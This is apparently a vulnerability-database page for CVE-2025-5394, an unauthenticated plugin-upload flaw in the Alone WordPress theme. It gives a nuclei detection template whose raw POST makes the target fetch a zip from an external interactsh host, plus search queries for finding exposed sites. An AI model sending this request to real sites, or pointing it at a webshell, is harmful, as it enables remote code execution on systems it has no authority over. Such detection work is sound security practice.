HexBrain

Browse / CVEs / CVE-2025-5394

CVE-2025-5394

Unauthenticated Arbitrary Plugin Upload in Alone Theme

criticalseverity
53.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.

Impact

This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.

Fix

Fixed in 7.8.5.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, '\"success\":true','\"substep\":\"activate\"') and contains(content_type, 'application/json') and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-5394 -u <target>

The full check
id: CVE-2025-5394

info:
  name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
  author: Nxploited,DhiyaneshDK
  severity: critical
  description: |
    The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
  impact: |
    This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
  remediation: Fixed in 7.8.5.
  reference:
    - https://github.com/Nxploited/CVE-2025-5394/tree/main
    - https://x.com/cloudflare/status/1951319364856058035?s=46
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/themes/alone/"
    fofa-query: body="/wp-content/themes/alone/"
  tags: cve,cve2025,unauth,file-upload,rce,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=beplus_import_pack_install_plugin&data%5Bplugin_slug%5D=&data%5Bplugin_source%5D=https%3a%2f%2f{{interactsh-url}}%2fplugin%2f%7b%7b{{randstr}}%7d%7d.zip
        # No plugin is uploaded or updated; just sending interactsh-url with randstr.

    skip-variables-check: true

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '\"success\":true','\"substep\":\"activate\"')
          - contains(content_type, 'application/json')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from